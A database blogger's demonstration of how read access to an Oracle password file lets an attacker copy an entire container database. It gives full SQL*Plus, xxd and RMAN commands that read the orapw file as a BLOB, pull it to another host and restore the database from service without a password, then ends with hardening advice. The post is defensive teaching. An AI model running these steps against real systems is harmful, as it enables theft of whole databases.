By Franck Pachot
This is a small demo I did when I’ve found a database password file (orapw) lying around in /tmp with -rw-rw-rw- permissions, to show how this is a bad idea. People think that the orapw file only contains hashes to validate a password given, and forget that it can be used to connect to a remote database without password.
I can easily imagine why the orapwd was there in /tmp. To build a standby database, you need to copy the password file to the standby server. If you don’t have direct access to the oracle user, but only a sudo access for ‘security reasons’, you can’t scp easily. Then you copy the file to /tmp, make it readable by all users, and you can scp with your user.
In this demo I don’t even have access to the host. I’ve only access to connect to a PDB with the SCOTT users, reated with utlsampl.sql, with those additional privileges, a read access on $ORACLE_HOME/dbs:
SQL> connect sys/[email protected]//192.168.56.122/PDB1 as sysdba Connected. SQL> create or replace directory DBS as '/u01/app/oracle/product/12.2.0/dbhome_1/dbs'; Directory DBS created. SQL> grant read on directory DBS to SCOTT; Grant succeeded.
People tend to grant many privileges, and think that a read access on a directory which is supposed to contain only configuration files is harmless. Let’s see what you can do from another server.
Get the orapw file from a remote connection
I connect with SCOTT which can read from ORACLE_HOME/dbs:
SQL> connect scott/[email protected]//192.168.56.122/PDB1 Connected. SQL> show user USER is "SCOTT" SQL> select * from all_directories; OWNER DIRECTORY_NAME DIRECTORY_PATH ORIGIN_CON_ID ----- -------------- -------------- ------------- SYS DBS /u01/app/oracle/product/12.2.0/dbhome_1/dbs 4
I create a table to read this file (other possibilities utl_tile, external tables,…):
SQL> create table DEMO ( b blob ); Table DEMO created. SQL> insert into demo values ( bfilename('DBS','orapwCDB1') ); 1 row inserted.
I’m on another server with the same version of Oracle Database software installed.
I use sqlplus to retrieve the server file to my client:
sqlplus -s scott/[email protected]//192.168.56.122/PDB1 <<EOF |xxd -p -r > $ORACLE_HOME/dbs/orapwCDB1 set pages 0 lin 17000 long 1000000000 longc 16384 select * from DEMO; exit EOF
This (documented by Laurent Schneider) uses sqlplus to display the BLOB variable as hexadecimal code and xdd (installed with vim-common) to revert it to binary.
So, on my server I have a copy of the database password file for the database I want to steal:
[[email protected] ~]$ strings /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapwCDB1 ORACLE Remote Password file X)l)| SYSDG +933k\ SYSBACKUP f ts6 $9 SYSKM
A nice feature of 12c is the ability to pull backups from a service. With this, it is the destination that connects to the source. I have diagrams to explain here). It is an easy alternative to RMAN DUPLICATE (see MOS Doc ID 2283978.1 Creating a Physical Standby database using RMAN restore from service). And one difference is that you don’t have to provide the password:
I prepare a small init.ora and directory for the datafiles
echo "db_name=CDB1" > $ORACLE_HOME/dbs/initCDB1.ora mkdir -p /u01/oradata/CDB1
I’m still on my server with the copy of the remote orapw file and a network access to the source database and I just restore it, without the need for a password:
RMAN> connect target / connected to target database (not started)
I start a local instance:
RMAN> startup nomount force Oracle instance started Total System Global Area 859832320 bytes Fixed Size 8798552 bytes Variable Size 784338600 bytes Database Buffers 58720256 bytes Redo Buffers 7974912 bytes
I restore the controlfile:
RMAN> restore controlfile from service '//192.168.56.122/CDB1'; Starting restore at 05-JAN-18 using target database control file instead of recovery catalog allocated channel: ORA_DISK_1 channel ORA_DISK_1: SID=262 device type=DISK channel ORA_DISK_1: starting datafile backup set restore channel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1 channel ORA_DISK_1: restoring control file channel ORA_DISK_1: restore complete, elapsed time: 00:00:02 output file name=/u01/oradata/CDB1/control01.ctl output file name=/u01/fast_recovery_area/CDB1/control02.ctl Finished restore at 05-JAN-18
That’s the interesting part because it has to be connected, at least as SYSOPER, to the source database but I didn’t provide any password.
I mount this controlfile locally:
RMAN> alter database mount; Statement processed released channel: ORA_DISK_1
And now it is easy to pull the whole database (the CDB with all its PDBs) to my local server:
RMAN> restore database from service '//192.168.56.122/CDB1'; Starting restore at 05-JAN-18 Starting implicit crosscheck backup at 05-JAN-18 allocated channel: ORA_DISK_1 channel ORA_DISK_1: SID=262 device type=DISK Crosschecked 6 objects Finished implicit crosscheck backup at 05-JAN-18 Starting implicit crosscheck copy at 05-JAN-18 using channel ORA_DISK_1 Finished implicit crosscheck copy at 05-JAN-18 searching for all files in the recovery area cataloging files... cataloging done List of Cataloged Files ======================= File Name: /u01/fast_recovery_area/CDB1/autobackup/2018_01_04/o1_mf_s_964524009_f4vzyt59_.bkp File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_15_f4w5vv19_.arc File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_16_f4wmm0t8_.arc File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_14_f4vzjdl1_.arc using channel ORA_DISK_1 channel ORA_DISK_1: starting datafile backup set restore channel ORA_DISK_1: using network backup set from service //192.168.56.122/CDB1 channel ORA_DISK_1: specifying datafile(s) to restore from backup set channel ORA_DISK_1: restoring datafile 00001 to /u01/oradata/CDB1/system01.dbf channel ORA_DISK_1: restore complete, elapsed time: 00:00:16 channel ORA_DISK_1: starting datafile backup set restore ...
This is not an issue and is totally expected. In a Data Guard configuration, the primary and standby database have to communicate with each others and then need a passwordless authentication. This is done with the password file, and this is the reason why you need to copy it rather than just create another one with the same passwords.
So, there is more than just a hash of the password (which is required to validate a password) and probably includes a key (randomly generated when you create the password file) used for passwordless authentication.
Then, be careful, and do not give read access to the orapw files. You must secure them in the same way as a ssh key or an encryption wallet. and this include:
- Do not leave a copy of the orapw file in a shared location
- Be careful with grants on directories, even in READ
- Do not grant CREATE ANY DIRECTORY except for a PDB with PATH_PREFIX lockdown